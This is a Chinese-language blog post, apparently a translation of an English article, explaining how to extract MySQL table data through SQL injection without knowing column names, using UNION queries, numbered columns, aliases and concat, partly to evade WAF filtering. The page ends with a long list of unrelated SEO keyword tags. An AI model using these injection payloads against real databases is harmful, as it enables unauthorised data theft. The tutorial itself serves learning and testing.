MySQL在不知道列名情况下的注入详解
发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,前言最近感觉脑子空空,全在为了刷洞去挖洞,还是回归技术的本身让自己舒服些。好了,下面话不多说了,来一起看看详细的介绍吧前提以下情况适用于 MySQL < 5版本,或者在 MySQL >= 5 的版本[
千家信息网最后更新 2026年11月01日MySQL在不知道列名情况下的注入详解
前言
最近感觉脑子空空,全在为了刷洞去挖洞,还是回归技术的本身让自己舒服些。好了,下面话不多说了,来一起看看详细的介绍吧
前提
以下情况适用于 MySQL < 5版本,或者在 MySQL >= 5 的版本[存在information_schema库],且已获取到库名和表名
① 当只能获取到表名,获取不到列名或者只能获取到无有效内容的列名情况【例如 id】
② 当希望通过information_schema库中的表去获取其他表的结构,即表名、列名等,但是这个库被WAF过滤掉的情况
其实个人感觉这个方法还是对 5 版本以下的实用性比较强一些,因为对我来说,一般遇到waf就放弃了(菜的真实23333)
解决
正常的查询:
以下是正常查询 test 库中的 user 表内容
select * from user;

UNION查询:
select 1,2,3,4 union select * from user;

数字对应列查询:
可以使用数字来对应列来进行查询,如 2 对应了表里面的 name 列
select `2` from (select 1,2,3,4 union select * from user)a;
别名代替查询:
当反引号 ` 不能使用的时候,可以使用别名来代替,如设置 2 的别名为 b
select b from (select 1,2 as b,3,4 union select * from user)a;
多列合并查询:
同上:这里反引号不能用的话,一样可以使用别名代替
select concat(`2`,0x3a,`3`) from (select 1,2,3,4 union select * from user)a limit 1,1;
仅作翻译以及思路整理
原文链接:https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/
总结
以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对的支持。
查询
内容
情况
别名
引号
感觉
数字
版本
还是
学习
实用
有效
舒服
个人
价值
前提
前言
原文
实用性
就是
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
上海挚品互联网科技有限公司
云信互联网科技有限公司
互联网 科技创业
期待互联网科技
互联网前沿科技
互联网科技咨询
互联网科技素材视频竖屏
海南购全球互联网科技
互联网校园科技培训
千方科技属于互联网企业吗
宜昌元轩互联网科技有限公司
互联网科技扶贫时间
广西互联网科技孵化中心
广东工业互联网大赛深圳学泰科技
产业互联网科技服务公司
风投北京互联网科技
江苏互联网科技小贷
黑龙江互联网科技公司
互联网科技创新方面的资料
科技互联网企业在行动
精品咖啡豆
科技与互联网发展
互联网科技小贷
小马过河互联网科技
互联网金融科技委员会
科技伦理 互联网公司
信承诺互联网科技有限公司
云鲸互联网络科技有限公司
互联网时代科技型公司的机会
数字互联网科技有限公司